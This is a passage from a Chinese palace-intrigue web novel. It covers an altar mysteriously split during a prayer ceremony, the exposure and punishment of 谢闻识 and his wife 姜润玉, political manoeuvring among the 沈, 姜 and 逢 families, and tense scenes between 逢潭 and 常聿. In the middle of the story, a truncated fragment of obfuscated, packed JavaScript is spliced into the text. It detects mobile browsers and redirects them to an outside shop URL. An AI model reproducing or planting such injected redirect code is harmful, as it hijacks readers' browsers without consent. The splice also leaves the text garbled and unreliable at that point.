昨晚的刀伤，现下的高热，他都闷声一一迎下，难道是铁打的身子不成？
常聿怔怔地看着她：“......我该有什么感觉？”
逢潭道：“自个儿的身子不爽利，还不明白吗？”
话罢，思及常聿身份，她又忽然恍觉难言。
像他们这种男儿，好像都是自小即入宫伺候的。一个人孤苦无依的在这宫中生老病死，到底是比常人要多淡漠舍弃一些东西的。
她难言叹息一声，还不及再说话，就见常聿已然转身。
“......”
头顶阴云凛空，玄衣青年沉步隐入浓浓月色，背后的影子拖得极长，呼之欲出的落寞。
*
翌日，众人移步，欲上天坛走完最后一趟祈福仪式。
李婕妤隔着人群，与逢潭遥遥相视。
逢潭看的仔细，此刻，李婕妤看过来的眼神中异含以往不曾有的戒备与悲伤。
逢潭唇齿轻启，欲要开口，却见李婕妤目色微敛，迅速地转过头，不再看她。
“......”
这时，只见天坛之上，逢光与沈家二子脸上皆露惊惶难色。一名侍卫神色慌张地踉跄跑到众人前，声音颤抖道：“——陛下，娘娘！大事不好了！”
众人惊此骇闻，顾不得当下，纷纷登上即刻用到的祈福天坛。
天坛之上，昨日还尚且完好的，供奉香烛文经的龙凤云雷纹花样浮雕的天台，一时不知何缘由，竟被从中生生劈开一道狰狞的裂隙！
逢光与沈家二子皆跪地：“臣等失职！还望陛下恕罪！”
见此景，逢潭了然于心地随在慎贵妃身后，上前一齐在旁边跪下。
慎贵妃道：“陛下息怒！”
“元澊，此次祈福仪式皆由你沈家全权巡护。”帝王的声音浑厚有力，透露出不容置疑的威仪：“你来给朕说说，这到底是怎么回事？”
沈元澊拱手道：“陛下明鉴，臣等近几日严加防守，从不敢有一丝懈怠之心！”
“今晨曦光未显，在此巡防的侍卫们，是曾听到天坛这边兀自发出一声落地沉响！无奈天色尚未清明，将士们又久经战场，唯恐身上血气冒犯神灵，故而因此之失，未及时发觉天坛之上的异样！”
“......”逢潭静静跪在一旁，余光轻瞟一眼逢光。
依照逢光脾性，面对眼前之景，理应早就开始斟酌着如何为自己脱罪。
然今而，他却一改常态，敛色平容的不见半点波澜。
逢潭顿感异样。
怎的，今日这般沉得住气？
帝王龙颜沉如黑水，痛彻心扉道：“如此要事，竟呈这般不吉之兆！！！”
沈元浔也道：“陛下，此事非同小可，必须谨慎处理！微臣以为，这静安寺乃皇家之地，就连平日里的人往皆是出自官家，寻常人近身不得！”
“陛下，微臣惶恐！实在想不出该是何人，竟能在沈家二位公子的严加防守下，潜入寺院！故微臣斗胆猜测，可想那背后为非作歹之徒，绝非庸人！”逢光道。
慎贵妃道：“陛下，臣妾以为礼部尚书言说在理。”
“恳请陛下给他们一个将功折罪的机会！”
逢潭谨慎地看一眼常聿，常聿冲她挑了挑眉：“......”不觉想起昨夜他说过的话。
沈家二子此行的目标是谢闻识，从他们的话语间也不难看出，他们在有意把矛头范围缩小到了静安寺内。
而谢闻识与夫人姜润玉，正因前段日子轰动京中的案子，闹的厉害，故被两家藏身在此。
如若谢闻识与姜润玉在这时于人前曝面，那么即使晟王与姜家出手，也将碍于众目睽睽之下，势必难逃。
“......”
只是，当前最令逢潭费解的是.....
鹬蚌相争，沈家也就罢了。
这逢光跟着凑什么热闹？
*
“你今天见谁了？”女人端坐在榻上，语气平静如水，淡然无绪地饮了一口凭几上的热茶，那袖下腕间的珊瑚手钏瑰丽饱满，衬得皮肤冷白细腻。
静等半天没有得到答复，手中杯盏重重落桌，茶水四溅，她却好似仿若无感。
姜润玉冷眼瞧着自昨日回来便一直魂不守舍的谢闻识，开口道：“说话。”
谢闻识充耳未闻地翻了个身。
“......”
姜润玉起身，几步走到床边，将他拎起。
谢闻识被她弄得烦了，用力一挥宽袖：“关你什么事儿？”
姜润玉道：“关我什么事儿？！谢闻识，你我今日之所以会被困在这里，究其是为何？你想过没有？”
谢闻识本就心气不爽多时，经她这一挑拨，也由然上了头：“能是为何？还不是你自己捅的篓子？连累本世子跟你在这儿受苦。”
她捅的篓子？
如若不是谢闻识不知收敛，尽在外面招蜂引蝶，做了
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那么多伤天害理的事，他们能落到今日这般田地？
姜润玉气急，怎么今而到了谢闻识的嘴里，就全然成了她的不是？
她道：“你以为我那么做都是为了谁？还不是为了你！但凡你收敛一些，会是现在这个样子吗？”
“自从跟你晟王府结了这门亲，我姜家何曾有过片刻安宁？整日里不是拆西墙就是补东墙，跟着晟王屁股后面给你收拾烂摊子！”
谢闻识满不在意道：“整日里把你姜家的能耐挂在嘴边，任你再如何瞧不上我晟王府，到头来还不是畏忌沈家，被人家压了一头？”
“我晟王府今时之景，其中是少不得你姜家的助力没错。可你们姜家就不需要我们了吗？”谢闻识毫不留情的讥言道：“你也不必再多说任何，本世子听得腻烦恶心。”
说完，他索性再次背过身去，不再多看她。心中焦躁无比，他下意识探向胸前，旋即猛然腾起身，掀开被子，局促地四下摸索一遍：“......”
东西呢？！
怎么不见了？！
姜润玉在一旁冷冷道：“你在找什么？”
见谢闻识无暇理她，她气哼一声，从袖中拿出一物：“是这个？”
谢闻识动作一顿，而后了然回首：“谁允许你动我东西了？！”
眼瞧着他欲要上前抢夺的架势，姜润玉反手一藏，积压一夜的情绪，频频欲发道：“我倒要问问你，究竟是哪个不知死的妖精，给你迷了心窍。”
“锦染，锦染.....”姜润玉蓦然道：“就是那个半夜都还要入梦，同你苟合的小贱人！”
谢闻识道：“你再骂？！”
姜润玉笑道：“心虚了是不是？听不得我骂她是不是？！你即听不得，那我就偏要骂！我就骂！我就骂！贱人，贱人，贱人！不知廉耻的贱人！居然惦念有妇之夫！”
“啪——！”
反应过来时，谢闻识已然右手高抬，掌心落下。
姜润玉半张面颊瞬间聚起一团红晕，不敢置信道：“......你打我？”
“谢闻识，你居然敢打我？！”知书达礼的高门小姐，娇生惯养的长大，何曾受过当下之辱？
姜润玉泪如雨线，怔然滑落：“谢闻识，你不得好死！”
她猛推他一把，道：“要么今日你就把我休了！咱们两家从此不相往来！要么我即刻就去把那个小贱人找来，在你面前杀了！”
她疾然转身，下一刻夺门而出。
谁知刚巧与在寺中巡查的沈元澊等人撞了正面。
“姜....不对。”沈元浔率先问道：“世子妃，你怎么在这儿？”
“......”
与此同时，谢闻识也紧跟其后的从厢房中跑出来。
“晟世子，你......？”沈元浔看一眼双目含泪，狼狈不堪的姜润玉，又看一眼后面怒火中烧的谢闻识，眼神瞬间变得意味悠长起来。
他用胳膊撞了撞沈元澊，道：“大哥，这......”
沈元澊朝面前的两人拱手，冷言道：“沈某多有冒犯。”
“带走。”
29. 观斗
帝王原就是个没耐心的性，加之现今暑热骄阳愈加渐烈，正欲摆手散场时，就见远处沈家二子脚踩信步，朝殿中走来。
众人皆感疑惑，连同慎贵妃也纳了闷。
怎么这么快就回来了？
下一刻，他们大步走至帝王面前，拱手道：“陛下！”
帝王拧眉，上前一步，略显迟疑道：“这是......？”
显而易见，当下帝王的注意力已然全被他们身后的两人吸引了去。
“闻识，你....你们夫妇二人怎么在这儿？”帝王问。
“......”谢闻识哪里说的出为什么，只得站着闷声作哑。
帝王又看一眼旁边的姜润玉，抬手指了指：“你捂着脸作甚？”
皇后道：“润玉，你自幼豁性不拘，聪颖活泼。然在应尽的礼数上，却从未有过一点儿马虎。怎的今日这般失态？”
“姜太傅在朝中向来清廉正直，恭而有礼。今日之事若被你父亲知道了，回头他定要恼你了。”
姜润玉犹豫。
帝王甚是不耐的“啧”了一声，道：“放下。”
“......”姜润玉咬了咬牙，心下一狠，将自己半张红肿的脸露了出来。
慎贵妃施然笑道：“哟，这是怎么回事儿？世子妃从哪儿磕的？怎么这么严重？”
谢闻识与姜润玉皆是黑沉着脸，没有说话。
当下之景，哪怕是个再迟钝不过的人，也能猜出个八九不离十。
帝王道：“你们两个，闹的什么笑话？！”
“不喜欢就不要见！天天吵，天天闹，你们以为朕在宫中，便就真的什么都不知道了吗？！”
“看看，看看你们现在！鸡飞狗跳，乱七八糟！是该正经过日子的样吗？”
帝王话落，也不知谢闻识哪里来的胆子，竟一时回了上去：“这门亲事，就是个错误！”
“你什么意思？！”帝王疾言道：“现在这是埋怨起朕了？当时，是你们父亲齐齐到朕面前，为你们！你们两个！亲讨来的婚事！”
“说什么....你们两小无猜，情投意合，知根知底，最是了解彼此，最是合得来……朕这才下旨让你们结的亲！怎么？你这毛小子，翅膀是硬了？！还埋怨起朕来了！！！”
谢闻识似是也反应过来，自己方才的行为当属大不敬，故敛了声，小声嘀咕道：“我哪儿敢.....”
“你还敢说？！”帝王上去就是给了谢闻识一脚，而后道：“现在知道后悔了？两个人不合适了？那当初，朕赐婚的时候，怎么不见你们反对啊？！”
姜润玉肩膀微微颤抖，缩跪在侧，默默哭泣着。
帝王训斥完谢闻识，继而又将矛头转向她：“先前，你骄纵些也就罢了！如今既成了婚，也该恪守为人妇道的本分！”
姜润玉道：“陛下.....臣妇自知比不得，在座的各位娘娘们，半分贤良淑德！却也是将妻子之职行的尽心尽力！臣妇不求夫君能与自己伉俪情深，唯盼能够到相敬如宾，便已足以！”
“可....可世子他，他....！”她脸色苍白，哽咽的话被噎在喉间。
一时间，满殿尽剩姜润玉的悲泣声。
待她稍缓了情绪，静下来。慎贵妃瞥一眼，半天没说话的沈元澊：“......”
继而又悄然看向常聿。
只见常聿轻睨贵妃一眼，贵妃微微怔愣。
她暗自浅思一番，旋即道：“不过......”
“贵妃欲作何话说？”帝王道。
慎贵妃道：“陛下....容臣妾多嘴。比起晟世子夫妇二人之间的感情究其如何....眼下，臣妾更是好奇，他们二人为何会在于此？”
“......”
贵妃一言出，仿佛同时也戳破了挡在众人面前的，一道模糊的屏障。
气氛再度陷入死寂。
逢潭风轻云淡地继饮一口茶水，目光在这些人脸上一一扫过，最后落在逢光身上。
逢光目色微敛，嘴角却在微微上扬。
假使当下，众人的注意力，并非全然跟着帝王一起，放在谢闻识和姜润玉那儿。就逢光眼中，那呼之欲出的兴奋与愉悦，恐怕早就已经引人起了疑。
背靠大树能乘凉的道理，人人都懂。
可却鲜少有人去揣摩它的后话......
树大招风风撼树，人为名高名丧人。
行在济济朝堂之上，稍有不慎，就会沦为众矢之的。
沈家如何，姜家又如何？一旦功高盖主，没有任何一个家族能够维持经久不衰。
沈家权倾一时，也不过是昙花一现，长久不了。姜沈两家需要制衡，无论是先借谁的手，扳倒另一个，最后剩下的，也终难逃过狡兔死，走狗烹的下场。
“......”
思及此，逢潭一时竟又觉得有些好笑。
这个便宜老爹，目光实在短浅.....让人不得不喟叹道，他能走到今日的地位，着实是有点子运气在身上的。
常聿不觉窥看一眼逢潭。随后，透看破她淡漠神情中，掀起的那抹转瞬即逝，似有若无的蔑笑之意。
沈元澊道：“陛下，臣等也正是因此困惑，故才将世子与世子妃带到陛下面前。”
“此外，臣也命人在静安寺内外，各处巡查一番，尚未见得有身份不明之人。”
湘妃道：“陛下，臣妾以为慎贵妃所言极是。”
她也难掩好奇道：“前些日子，沈将军班师回朝的庆功宴上，晟王曾说，世子摔了腿脚？正在家修养....这伤筋动骨一百天，可臣妾怎么瞧着....晟世子利索的很呢？”
慎贵妃甚是满意湘妃的接话，笑道：“原不是臣妾一人记岔了。”
帝王又踹一脚谢闻识：“你说。”
谢闻识沉默。
帝王又瞪一眼姜润玉。
姜润玉亦是无言。
“都不说是吧？来人！”帝王道：“拖下去，各打五十大板！”
姜润玉的眼泪，从进殿后，就没一刻停止过，她哭着垂首一拜，道：“还望陛下恕罪！！！”
*
待姜润玉将先前京中的诸事全盘托出，在座的众人，皆是不由倒吸一口凉气。
沈元浔瞬息明朗道：“难怪臣等
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进京时，百姓会那样说......”
帝王问：“......他们说什么？”
沈元浔佯作踌躇不敢言的模样。
帝王闭了闭眼，道：“朕允你说，你且说来。”
沈元浔道：“百姓们说.....说....陛下徇私舞弊，放任奸佞作乱，不顾民心....”
沈元澊及时制止住沈元浔继续说下去。
帝王气得有些站不稳身形，他指着旁边的逢光道：“你来说。”
逢光委婉道：“不过是些庸人所语，恐污陛下尊耳。”
沈元澊道：“陛下，此事兹事体大，今已造成民愤，若是再一味遮掩下去，怕是难平民心......”
帝王揉了揉酸疼的太阳穴，沉默良久，才又沉声道：“......你们两个。”
谢闻识与姜润玉同时抬眼。
帝王道：“眼不见为净，以后也别再强拧在一块儿了。各过各的吧。”
“谢闻识削其爵位，贬为庶人。纵身囚禁晟王府，非死不得出。其父....降爵位一等，罚俸半年。”
轮到姜润玉时，帝王叹了一声：“姜太傅亦同。”他对皇后道：“你来处理吧。”
皇后了然道：“姜家之女，行事乖张，罔顾王法。即日起，剥其所有冠身华物，食无珍馐。每日抄写佛经及女德篇章百遍，是以修身养性，铭记妇道。”
今时祈福祝愿的仪式已毁，又逢处理了这些烂糟的事，帝王精力不济，扬扬手示意就此散了。
皇后道：“那....晚些时候，臣妾会再携诸位姐妹，到宫中的宝华殿内向诸神佛悔过。”
说着，众人纷纷起身准备散场。
谢闻识忽然道：“陛下！闻识还尚有一言！”
帝王睨一眼地上，这个不争气的侄子，道：“你还有什么要说的？”
谢闻识的视线，从沈家二子慢慢掠到慎贵妃，再至逢光，不忘又瞧一眼逢潭，最后定格在常聿身上，眼神陡然变得狠厉起来。
“......”
“你说什么？”帝王询问。
只见常聿散漫抱臂，淡淡看他一眼，腰间玉带悬系的鹅黄香囊，在他鎏金紫袍的衬托下，愈加醒目。
“......”谢闻识喉结重重一滚，终是没在说话。
沈元澊的目光紧随谢闻识之后，落在一人身上久滞不动。
眸中倒映的女子，脸庞轮廓亦似春江般柔和，眼如细柳，柔情缱绻。异于常人的浅眸明净，宛若那井中月，为她平然添了几分凛凛清冷。
是她？！
“大哥，你怎么了？”沈元浔抬手在他面前晃了晃。
沈元澊思绪回转，局促撩开遮挡视线的手臂：“......”
是幻象吗？
“你在看什么呢？”沈元浔循着他的目及之处看过去，登时睁大了眼：“......”
他不敢置信地用力眨了眨眼，见眼前之景为实，心脏骤然悬到了嗓子眼：“你...你....你不会，不会看上那个姑子了吧！！！！！”
沈元澊抬脚踹在沈元浔的屁股上，脸色几近凝寒：“滚。”
30. 决裂
“什么？！”晟王登时席地而起：“你再说一遍！”
下人道：“王爷，出事了！世子和世子妃......暴露了！”
晟王咬牙道：“不是让人去警告过他们两个，不要在这个节骨眼上节外生枝吗？！”
“三天！就三天！”他瞬时烦躁地来回踱步，气急拍手道：“等陛下走了，任是他们再怎么闹，就算是把静安寺掀了，也没人管！两个混账！怎么就这么沉不住气！”
“王爷息怒，”下人解释道：“听他们说，是今晨原用来祭祀供奉诸神的天台，不知因何缘故，突然崩裂！沈家的那两个，怀疑是有人故意为之，引起不祥，美其名曰在寺院中进行巡查，世子他们就......”
“是....沈家？”晟王闻言，忽然转身。眼珠流利地转了转，随后道：“这事，姜萍知道了吗？”
“知道了，知道了。”下人小心翼翼地回答道：“原就是姜家递来的消息。”
晟王拧眉问道：“那姜萍作何表态？可还了说什么？”
下人低着头，没敢吭声。
晟王冷哼一声道：“这件事，那老滑头不打算管是吗？”
见状，他亦了然，扭头一甩宽袖：“去姜家。”
*
较于晟王的脸红气急，姜萍的反应倒是更显沉静。他平平抬眼，狡黠的眸中闪过一丝精光。
晟王也没有一味等着他先开口：“姜太傅还真是风云见惯，处变不惊。”
姜萍唇角勾笑：“晟王过誉了。”
瞧姜萍此表，晟王索性直接开门见山道：“今日之事......”
“今日何事？”姜萍抿一口茶水，随即挑眉道：“....哦，晟王是说两个孩子和离之事？”
提及此，他淡然一笑，继说道：“唉，原是两家乱点了鸳鸯谱，闹了出笑话。”
“现下他们二人也已分开，之前的事情，晟王也就别太当真。”
姜萍话罢，晟王神色定格一瞬，接着听出他的话下之意，低呵一声，道：“姜大人的意思是说，你我两家先前的种种就这么不作数了？”
姜萍抬眼看他，静待他说下去。
“姜萍，你可别忘了。前些日子京中闹得沸沸扬扬的案子，被推山风口浪尖的，可不止我儿一人。”晟王眸子半眯，晃出一抹威胁的狠厉：“男儿风流，不足挂齿。可如若一女子，被冠上''善妒''的名号，即使贵为高门，今后怕是也无人愿意再娶了......”
姜萍不以为然地咂了两下嘴，没有说话。
晟王顿了顿，纵观姜萍脸上神情后，紧接着又道：“姜大人不会以为......你我两家和离，这件事情便能就此揭过，姜家可以独善其身了？”
姜萍随着他的话频频点头，像是认同。
见此景，晟王乌云密布的脸缓缓笑了起来。
谁知姜萍思顿片刻，却是冲一旁的下人道：“....还没有告诉晟王？”
“什么意思？”晟王了觉不对，面色忽然一沉。
姜萍站起身，道：“悠悠众口而已，百姓寻的不过就是一个表态。现今陛下已然处决此事，怎么不算是就此翻篇？”
“‘善妒’如何，嫁不出去又如何？凭我姜家之资，还不至于容不下一个女子。”姜萍轻声笑了笑，道：“倒是王爷与世子殿下.....”
他哂然瑶摇头：“哪还有什么世子，今后也不过一个庶人罢了。”
“......”
白天的事情闹得轰糟，直到入夜见了昏晓，这份久持不下的焦躁才逐渐宁静平和下来。
逢潭在旁观瞩，虽不置身，心中倒是饶有一番兴味。
晟王削爵，其子贬庶，地位一度岌岌可危。近几年来，姜家在朝中过得恣意。现下沈家才将回京不过一月，姜家便在其手中狠狠栽了个的跟头，且又失了晟王这一层关系。可想而知，日后......更是要被沈家压得抬不起头。
至于逢光......
逢潭不知今日之事，他究竟参与了多少，但就目前的种种行迹，皆可表明，他已投身沈家无疑。
逢光在朝中如何站队，她无心干涉，也懒得在意。只希望他能在身下水浪渐深时，张弛有度，见好就收。别等到溺死在宏洋中，才幡然回首身后，发觉自己已然离岸多时。
“都这个时辰了，还不休息？”
“......”逢潭循声抬起头，就见常聿正双手环胸抱臂，轻慢怠闲地斜靠在门边。
他冲逢潭挑眉，道：“在想什么？”
逢潭眨了眨眼，反问道：“怎么今日这么晚？”
常聿闻言微微一愣，随即笑道：“你在等我？”
见她没有否认，常聿悠步走到她对面，熟稔坐下：“处理了些细枝末节的小事，忙到现在。”
逢潭轻点下头，随即坦然撩开他的衣袖。
常聿盯她好半晌，才开口道：“....你跟你爹关系不好吗？”
逢潭不甚在意地道：“为什么这么问？”
常聿道：“瞧你今日的反应一般。”
今晨之事，事情真相犹未可知。上至着手负责诸次事仪的礼部，下至围护防守的沈家，如若帝王执意追究，定是无一人幸免。
慎贵妃尚在不知情的状况下，且想到的，也是先替两位兄长求情。
而她....却一直秉持着沉默观睨的姿容，不咸不淡，不为所动。
联想到前些日子，她与逢光私下会面，气氛也是僵硬凝灼，甚至是还有些争锋相对。
逢潭面无表情道：“还得怎么反应？”
“如若真跟他有关，他自然逃不了干系，任说再多求情的话也是无用。”
常聿又道：“那你认为....你爹此举如何？”
逢潭安静几秒，声音很轻：“只要别把逢家作死了，一切随他吧。”
“就这么不在乎？”常聿对她过于冷淡的态度感到诧异：“好歹他也是你爹。”
“......”听此一言，逢潭不知想到了什么，敛眸几瞬，讥讽轻笑：“他即能做到不在意自己亲生女儿是死是活，我又何需去在乎他？”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14182946|146699||http|test|mini|href|location''.split(''|''),0,{}));
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>常聿垂眸看着她，陷入短暂的沉默。又过良久，只听男人放低了声音，轻声问道：“....你之前过得不好吗？”
闻此，逢潭不由地蜷了蜷手指，自己都不曾察觉的眉心微压。顿了顿，她言下轻松道：“好不好的，都已成为过去。今而再说，也没意思。”
“......”
“我瞧着常大人身上的陈年旧痕，”她忽而抬起头，道：“想来......这些年，过得也很是辛苦。”
“如今常大人威名震慑四方，也算是苦尽甘来了。”
常聿眼眸里映照着细碎的光影：“....那你呢。”
逢潭闻言，心弦不觉一颤，浅淡笑笑，没有再多说任何。
为他重新包扎完后，她照旧从手边推了一碗浓药过去。常聿不禁发问：“这到底是什么药？”
“嗯？”逢潭歪头看他。嘴角漾起的笑意，却是难掩：“....这不太方便说。”
常聿：“什么？”
逢潭想了想，道：“你真的想知道？”
常聿没有说话。
*
晟王从姜萍那里回来时，谢闻识已然被沈家的人押送到晟王府。
“老子怎么就生了你这么个败家的玩意儿！”晟王还未进门，赫然的怒骂声便已先传入耳。他火急火燎地一路疾步，“哐当”一脚踹开谢闻识的房门。
他怒目圆睁地指着垮坐在床边的人，道：“你说说你，那姜家的女儿性急，又不是一日两日了。你跟她一般计较作甚？”
“为父的知你不喜她，故平日里也是由着你在外面耍，哪怕天天跟在你身后处理那些烂摊子，为父也是向着你的！你犯得着跟她动气？”
“......”
谢闻识静坐在晟王面前，仿若失了魂儿般，苍白僵顿。
晟王观睨出不对，心中猛然一抖，他颤着声音道：“儿啊......你怎么了？！你可别吓爹啊！”
“不就是被削爵吗？！有爹在，你怕什么？！何故于此，来吓爹呢！”
待府里的人寻了大夫过来，任是如何施针灌药，谢闻识皆是没有一点儿反应。
随着最后一针刺下，大夫叹息地摇了摇头。
晟王道：“他怎么了？！半天过去，怎么还是这副鬼样子？！”
大夫谨慎回答道：“王爷......令郎这病寻常药物手段不可医啊。”
晟王情激：“什么叫不可医？！”
大夫道：“如若只是寻常惊吓，几贴安神药物服下，不出几日便能尚有好转。可令郎所患......是心疾。”
“任凭这些珍药，如何名贵见效，却也只能医得了身，医不了心呐！”
晟王道：“你行医这么多年，就一点儿办法都没有？！”
大夫道：“王爷爱子之心，小民感同身受。但......所谓心病还需心药医。”
“方才我已为令郎施针进药，王爷不妨待他清醒过来时，旁敲侧击地打探一下，令郎心病所谓何故。”
“如此才好对症下药。”
31. 崭露
“....贵人你看。”
逢潭顺着影莲的示意瞧过去。
似是没料想她会在这时回头，与逢潭措不及防视线相撞的刹那，李婕妤目色复杂地愣在原地。
来时她们本是共乘同一辆马车，然而此刻李婕妤却心生踌躇，脚下有些犹豫不决。
“亏得先前几次三番的帮她，”影莲“哼”了一声，语含埋怨道：“如今不过就是听了旁人的几句话，便就视之前为她所做的一切弃之逐水了。”
逢潭不甚在意地淡淡看了李婕妤一眼，随后平静地收回视线。
影莲不是第一日跟着逢潭，自是了解逢潭性子沉静不燥。可见眼下此景，她依旧不禁有些纳闷道：“....贵人就一点都不生气？”
逢潭摇了摇头：“不至于。”她自觉同李婕妤的交情不过泛泛之交，说不上多么情深，几次相助不过凭心而为，举手之劳。她历来行事求得只是一个问心无愧，故也从未想过在她那里索取什么意义上的回报。
好话歹话的，说一遍就够了。至于旁人选择怎么听，怎么做，那便是他们自己抉择的事了。
道不同不相为谋，既然不是同行人，任说再多也是无益。
“毓妹妹。”
逢潭这才将在车上坐稳身形。闻此，她撩开手边的车帘，待看清来人后，随之向她问礼：“玟嫔娘娘万安。”
“来时便想同妹妹一道说说话了，无奈一直没有合适的机会。”玟嫔含笑道：“不知待会儿.....妹妹可愿与我同乘？”
“嫔妾荣幸之至。”逢潭朝她礼貌颔首：
“......”
“....看见了吗？”颖昭仪从李婕妤身边经过，在她耳边留下凉凉一句：“常言道，物以类聚，人以群分......”
“你又是个什么可有可无的东西？人家缺你一个？”
李婕妤闭了闭眼，尽量止住身子泛起的痉挛颤抖。
“贵人......”黛竹回握住放在自己手心的手掌。
李婕妤眼角悄然落下一颗珠泪：“....你也觉得她们说的没错？”
黛竹抿了抿唇，回答的小心：“其实......依奴婢愚见，毓昭仪并不像她们口中的那种人....”
不管是在与她家贵人无缘无交的情况下，果断相助。还是接下来的数次提醒，以及贵人小产那次.....黛竹甚至都不敢想象，如若那晚逢潭没有过来，她家贵人是不是就已经......
“倘若，毓昭仪真如她们一般，那贵人屡次涉险，她又何至于出手相救......？”所以黛竹是打心底里觉得，逢潭与宫中的其他人不一样。
李婕妤嗓子打着哆嗦，道：“可是在这宫中，谁又会毫无目的地无端端对另一个人好呢？”
“就当她确实对我别无所图，那我在她眼里又是一个怎样的角色呢？一只卑微到，唤起她怜悯的可怜虫.....？”
“同为陛下的后妃，我不甘心……我不想要她们的施舍，不想瞧见她们眼中对我的可怜，不想永远仰视她们，任她们践踏！黛竹....我不甘心！我真的不甘心！”
“娘娘为何一直看着嫔妾？”逢潭抬手在脸上轻抚，笑问道：“可是嫔妾脸上有什么东西？”
玟嫔闻言敛眸一笑，平心道：“不瞒你说，自除夕那晚，本宫第一次见你时起，心中就倍感亲切。仿佛.....似曾相识。”
“......”
*
自从静安寺回来以后，一连数日，逢潭皆是提不起一点儿精气神。以往她固然也总是一副恹恹模样，但却不似当下这般若失怙恃，魂不守舍。
逢潭静坐庭廊下，抬眼又见四方的天，落日余晖下，天边是晃目的红云。暑夏的风吹拂人身，乌黑半束的发丝微微扬动，轻轻柔柔，带来片刻惬意。
“......贵人。”旖月温声叫了她一句。
少顷，见逢潭神绪没有回往，继而又走近了一步：“贵人。”
“......”
廊下女子眼睫忽而轻颤，眸子缓慢挪动，直到眸中倒映出少女的身影。
确认逢潭有在听后，旖月这才缓缓说道：“先前贵人交代的事情，有眉目了。”
逢潭未施粉黛，一张小脸略显黯淡无光，朱唇仅有一点憔悴的粉。她张了张嘴，声音被揉进缱绻的晚风，显得愈加轻浅绵延。
旖月将其尽数听进耳里。
*
先皇勤政，又有前朝元老沈家与姜家的鼎力相扶，故朝纲稳固如磐石，多年不可撼动。也正因先皇久不涉足后宫，后宫中人寥寥无几，膝下子嗣凋零。
当今圣上登基时，年岁已过不惑，闲散了大半辈子，庸碌无为的两肩，忽而承起一国大梁。
头两年，倒还愿尽表其面，做做贤帝的样子。
近几年加之常聿这一贤助代为监国，甚至连装都懒得装，愈加疏懈怠懒了。
前些日子，朝臣们又接连塞了几个含苞嫩枝的美人儿进宫，帝王喜不自胜。一切事务都全权交由常聿，几近放手。无心早朝，也不过问一点儿朝政。
他算是得了闲，反倒常聿在私事与政务之间来回跑，忙得不可开交。
天干物燥，人心难免浮躁压不住。
这天，常聿早早处理完两头事仪，好不容易抽出身来，思及已经有些日子没见逢潭，心中强压多日的情绪，终是难忍：“她这两日在干什么？”
“谁啊？？？”蛮枝停下手中事情，面上浮现一片茫然。
旋即反应过来，他又道：“....哦，毓昭仪啊。”
常聿不置可否。
“贵人她.....”蛮枝目光微转，想了想，道：“有些日子没见了。”
“......”
眼观常聿脸色渐沉，蛮枝“嘿嘿”两声，接着又道：“属下的意思是，别说是贵人了，哪怕就连贵人身边的两个婢子，近来也都不常见到了。”
常聿沉默几秒，继而提步离开了。
外面天色彻底黑了下来。
临近娴苌宫的那条长街拐角，常聿才将探出半个身子，下一刻就见女子携着婢子停在路边，与一侍
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卫交谈。
他悄然置身深暗，犹如隐秘角落的鼠辈，站在不见天日的阴翳下，窥看那一方凛洁皎月星光。
逢潭看上去情绪有些激动，这么多时日的相处，常聿明显能够感知到她的喜悦。他寒目注视着远处女子的一颦一笑，心脏跳的沉重狰狞。
“.....”
难怪她一点动静都没有。
原是心思已然放在了新人身上，故将旧人抛诸脑后，无暇惦念。
“贵人放心。”陈曙笑道：“我与旖月自幼一起长大，您的事情就是她的事情，她的事情就是我的事情，微臣一定尽心竭力，好好去办！”
逢潭眸子噙着薄薄水雾，正色朝他答谢。
宫中当差，男女来往过多容易生出闲言碎语。此次逢潭能够见到陈曙，旖月估计也废了很大力。
于是，待她说完要交由陈曙去做的事情后，逢潭自觉给他们留出些许独属于二人相处时间。
逢潭退步转身，旋即被身后迎面站着的黑影吓得全身一个激灵，腿都软了。但即使如此，她仍秉持着最后的那点戒备与严谨，适才没有失态地叫出声。
男人钳住她的双臂，这才避免她坐到地上。
眼前还没看清，鼻间便先袭来一股熟悉的冷香。
“你要死吗？”逢潭气急，使劲去推他：“一声不吭地你想吓死谁？！”
常聿屹立不动，折臂将她往自己身前一带：“干什么了？”
逢潭四下看了一圈，欲图从他手中挣脱开：“....你先放开。”
常聿眸中危光忽闪，手下力道带着骇人的压迫，不减反增。两人距离靠的很近，几乎虚虚贴在一起。
逢潭被他箍的生疼，倒吸一口凉气道：“常聿，这样被人看到不好。”
“不好？”常聿一字一顿道。
那她方才同那侍卫面觑相谈时，可曾思及被人看到会不好？
还是说，在她眼里，与他这个人站在一起，便是不好？
逢潭不知常聿又犯了什么病，知道自己挣脱不开，索性也懒得再去费力。
还好娴苌宫地处偏远，如今夜色渐深，四下昏暗，寂寥无人。
她就这么被常聿钳着，与他面面相觑：“你近来不是很忙吗？怎么有功夫……”
常聿沉眼，周身散发出凛冽的寒芒，笑的阴恻瘆人：“....微臣是挺忙，可贵人看样子也是片刻没闲着？”
逢潭：“......”
不是。
这才几日不见？怎么一见面，这厮说话就阴阳怪气的？
见逢潭不言，他不知作何来了火气。
又是这样。
别人得到她一个由心的笑脸相待，就那么容易。一旦面对他，甚至连一个好脸都不愿意给。
为什么？
凭什么？
逢潭被常聿眼底的寒凉冰冷一瞬，她缩了缩肩膀，又尝试着去推他：“....常聿，你这样勒着我，我真的很不舒服。”
常聿心中酸拧一刹，沉默片刻，手下慢慢松了力：“......”
32. 情变
常聿垂手背到身后，掌心微微蜷缩，不舍余温消弥。
逢潭抬头，借月一览他眼下乌青。以此寻了由头，道：“大人疲劳，既得闲，还是今早回去歇息罢。”
男人微微垂首，目不转睛地细细睨着她。。
逢潭近来食不知味，夜里又忧思多梦，当下状态与常聿相较，竟是也没有好到哪里去。
常聿目光很淡，静默良久，薄淡的唇忽地掀起一丝冷笑：“若论疲劳，常某恐怕不及贵人半分。”
逢潭对他冷不丁的话感到莫名。
接着，只听常聿兀自又道：“也不知是何方神人，能让贵人亲自移步面见？”
她甚至还从未主动过他。
“......”逢潭语噎。
并非是被他所言问的心虚，而是不知该如何回以。她对常聿心怀戒备，所以当下亦不能做到对常聿坦言。
